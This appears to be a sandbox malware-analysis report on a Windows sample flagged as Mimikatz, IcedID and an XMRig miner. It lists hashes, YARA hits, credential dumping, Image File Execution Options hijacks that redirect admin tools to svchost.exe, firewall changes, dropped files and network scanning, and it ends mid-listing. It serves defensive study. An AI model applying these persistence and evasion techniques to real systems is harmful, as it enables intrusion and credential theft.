Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
26/07/2024, 19:21
Behavioral task
behavioral1
Sample
2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20240709-en
General
-
Target
2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe
-
Size
7.8MB
-
MD5
f02e13c84844d1211564b794d742074f
-
SHA1
a246d29a191218a5ac4be278218272bd84030844
-
SHA256
ed561b807df08e7844e53d968d90d05077b6f156925f3e41821e5030560c05fa
-
SHA512
d142734817f813ea723e49bb6abe4a568795f3cebcec3ee2108d00b9bb35dfbfce26b75786d71e864b2d7511bc3028c922eb0f9bcdefc18f995073cfc13cea27
-
SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4212 created 2104 4212 kesbnle.exe 38 -
Contacts a large (29466) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 12 IoCs
resource yara_rule behavioral2/memory/2236-180-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-193-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-199-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-210-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-216-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-231-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-248-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-253-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-254-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-256-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-258-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig behavioral2/memory/2236-260-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 4 IoCs
resource yara_rule behavioral2/memory/1796-0-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/memory/1796-4-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/files/0x000800000002349d-6.dat mimikatz behavioral2/memory/412-137-0x00007FF7FE260000-0x00007FF7FE34E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts kesbnle.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts kesbnle.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe kesbnle.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe kesbnle.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" kesbnle.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1224 netsh.exe 3672 netsh.exe -
Executes dropped EXE 29 IoCs
pid Process 4700 kesbnle.exe 4212 kesbnle.exe 3744 wpcap.exe 5032 fisbebupd.exe 412 vfshost.exe 3628 lypegiteb.exe 4520 xohudmc.exe 3960 ascsoo.exe 2236 tgbwhe.exe 2096 lypegiteb.exe 1112 lypegiteb.exe 1632 lypegiteb.exe 2136 lypegiteb.exe 2096 lypegiteb.exe 4372 lypegiteb.exe 3676 lypegiteb.exe 1860 lypegiteb.exe 2188 lypegiteb.exe 1828 lypegiteb.exe 804 lypegiteb.exe 764 lypegiteb.exe 5048 lypegiteb.exe 4144 lypegiteb.exe 4432 kesbnle.exe 1268 lypegiteb.exe 3616 lypegiteb.exe 3456 lypegiteb.exe 216 itbsbubig.exe 5312 kesbnle.exe -
Loads dropped DLL 12 IoCs
pid Process 3744 wpcap.exe 3744 wpcap.exe 3744 wpcap.exe 3744 wpcap.exe 3744 wpcap.exe 3744 wpcap.exe 3744 wpcap.exe 3744 wpcap.exe 3744 wpcap.exe 5032 fisbebupd.exe 5032 fisbebupd.exe 5032 fisbebupd.exe -
resource yara_rule behavioral2/files/0x00070000000234e5-134.dat upx behavioral2/memory/412-135-0x00007FF7FE260000-0x00007FF7FE34E000-memory.dmp upx behavioral2/memory/412-137-0x00007FF7FE260000-0x00007FF7FE34E000-memory.dmp upx behavioral2/memory/3628-141-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/files/0x00070000000234f0-140.dat upx behavioral2/memory/3628-149-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/files/0x00070000000234ed-163.dat upx behavioral2/memory/2236-164-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/2096-170-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/1112-174-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/1632-178-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2236-180-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/2136-183-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2096-187-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/4372-191-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2236-193-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/3676-196-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2236-199-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/1860-201-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2188-205-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/1828-209-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2236-210-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/804-214-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2236-216-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/764-219-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/5048-223-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/4144-227-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2236-231-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/1268-233-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/3616-235-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/3456-237-0x00007FF6FE830000-0x00007FF6FE88B000-memory.dmp upx behavioral2/memory/2236-248-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/2236-253-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/2236-254-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/2236-256-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/2236-258-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx behavioral2/memory/2236-260-0x00007FF787BB0000-0x00007FF787CD0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 88 ifconfig.me 89 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft kesbnle.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE kesbnle.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content kesbnle.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData kesbnle.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 kesbnle.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8 kesbnle.exe File opened for modification C:\Windows\SysWOW64\ascsoo.exe xohudmc.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\ascsoo.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 kesbnle.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies kesbnle.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache kesbnle.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 kesbnle.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8 kesbnle.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\peftkslzp\UnattendGC\schoedcl.xml kesbnle.exe File created C:\Windows\ime\kesbnle.exe kesbnle.exe File created C:\Windows\peftkslzp\lrubiezlu\ip.txt kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\exma-1.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\vimpcsvc.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\docmicfg.xml kesbnle.exe File created C:\Windows\peftkslzp\lrubiezlu\wpcap.exe kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\posh-0.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\spoolsrv.exe kesbnle.exe File opened for modification C:\Windows\peftkslzp\lrubiezlu\Result.txt itbsbubig.exe File created C:\Windows\peftkslzp\lrubiezlu\wpcap.dll kesbnle.exe File created C:\Windows\mylebbdu\spoolsrv.xml kesbnle.exe File created C:\Windows\mylebbdu\docmicfg.xml kesbnle.exe File created C:\Windows\mylebbdu\schoedcl.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\tucl-1.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\svschost.exe kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\schoedcl.exe kesbnle.exe File created C:\Windows\peftkslzp\upbdrjv\swrpwe.exe kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\cnli-1.dll kesbnle.exe File created C:\Windows\peftkslzp\Corporate\mimidrv.sys kesbnle.exe File created C:\Windows\peftkslzp\lrubiezlu\Packet.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\ucl.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\spoolsrv.xml kesbnle.exe File opened for modification C:\Windows\peftkslzp\Corporate\log.txt cmd.exe File opened for modification C:\Windows\mylebbdu\vimpcsvc.xml kesbnle.exe File created C:\Windows\peftkslzp\Corporate\vfshost.exe kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\xdvl-0.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\zlib1.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\vimpcsvc.xml kesbnle.exe File opened for modification C:\Windows\mylebbdu\spoolsrv.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\AppCapture64.dll kesbnle.exe File opened for modification C:\Windows\mylebbdu\kesbnle.exe 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe File created C:\Windows\peftkslzp\lrubiezlu\itbsbubig.exe kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\vimpcsvc.exe kesbnle.exe File created C:\Windows\mylebbdu\svschost.xml kesbnle.exe File created C:\Windows\peftkslzp\lrubiezlu\scan.bat kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\docmicfg.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\schoedcl.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\AppCapture32.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\trfo-2.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\libeay32.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\libxml2.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\tibe-2.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\trch-1.dll kesbnle.exe File opened for modification C:\Windows\mylebbdu\svschost.xml kesbnle.exe File opened for modification C:\Windows\mylebbdu\docmicfg.xml kesbnle.exe File opened for modification C:\Windows\mylebbdu\schoedcl.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\ssleay32.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\docmicfg.exe kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\svschost.xml kesbnle.exe File created C:\Windows\mylebbdu\vimpcsvc.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\Shellcode.ini kesbnle.exe File created C:\Windows\peftkslzp\lrubiezlu\fisbebupd.exe kesbnle.exe File opened for modification C:\Windows\peftkslzp\lrubiezlu\Packet.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\svschost.xml kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\spoolsrv.xml kesbnle.exe File created C:\Windows\mylebbdu\kesbnle.exe 2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe File created C:\Windows\peftkslzp\UnattendGC\specials\coli-0.dll kesbnle.exe File created C:\Windows\peftkslzp\UnattendGC\specials\crli-0.dll kesbnle.exe File created C:\Windows\peftkslzp\Corporate\mimilib.dll kesbnle.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2692 sc.exe 5100 sc.exe 3264 sc.exe 4084 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kesbnle.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened 